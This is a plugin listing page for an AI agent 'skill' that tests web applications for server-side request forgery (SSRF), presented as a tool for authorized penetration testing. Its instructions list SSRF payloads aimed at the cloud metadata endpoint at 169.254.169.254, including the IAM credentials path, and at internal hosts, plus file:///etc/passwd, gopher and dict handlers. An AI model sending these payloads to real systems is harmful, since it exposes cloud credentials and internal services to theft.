Skill

performing-ssrf-vulnerability-exploitation

From asi

Tests SSRF vulnerabilities by probing AWS/GCP/Azure metadata endpoints (169.254.169.254), internal services, ports, protocol handlers, and bypasses like DNS rebinding via user URLs.

Python

npx claudepluginhub plurigrid/asi --plugin asi

Tool Access

This skill uses the workspace's default tool permissions.

Preview

- When conducting security assessments that involve performing ssrf vulnerability exploitation

SKILL.md

Similar Skills

performing-ssrf-vulnerability-exploitation

5.9k

Tests SSRF vulnerabilities by probing AWS/GCP/Azure metadata endpoints, internal HTTP port scanning, protocol handlers, and bypasses like DNS rebinding via user-controllable URLs.

3 files

cybersecurity-skills

exploiting-server-side-request-forgery

Identifies and exploits SSRF vulnerabilities to access internal services, cloud metadata, and restricted resources during authorized penetration tests.

asi

performing-ssrf-vulnerability-exploitation

Detects SSRF vulnerabilities in user-controlled URL parameters by probing AWS/GCP/Azure metadata endpoints (169.254.169.254), internal services via HTTP port scans, protocol handlers, URL bypasses, and DNS rebinding.

3 files

cybersecurity-skills-zh

Stats

Parent Repo Stars16

Parent Repo Forks5

Last CommitApr 4, 2026

Actions

View Source View Plugin View on GitHub View README

Help us improve

Share bugs, ideas, or general feedback.

When to Use

When conducting security assessments that involve performing ssrf vulnerability exploitation
When following incident response procedures for related security events
When performing scheduled security testing or auditing activities
When validating security controls through hands-on testing

Prerequisites

Familiarity with security operations concepts and tools
Access to a test or lab environment for safe execution
Python 3.8+ with required dependencies installed
Appropriate authorization for any testing activities

Instructions

Install dependencies: pip install requests
Identify URL parameters in the target application that accept URLs or hostnames.
Test SSRF payloads:
- Cloud metadata: http://169.254.169.254/latest/meta-data/
- Internal services: http://127.0.0.1:port/, http://10.0.0.1/
- Protocol handlers: file:///etc/passwd, gopher://, dict://
- Bypass techniques: IP encoding, DNS rebinding, URL redirects
Analyze responses for information disclosure or internal access confirmation.
Generate a vulnerability assessment report.

# For authorized penetration testing and lab environments only
python scripts/agent.py --target-url https://app.example.com/fetch?url= --output ssrf_report.json

Examples

AWS Metadata SSRF

GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

If the response contains AWS credentials (AccessKeyId, SecretAccessKey), SSRF is confirmed with critical impact.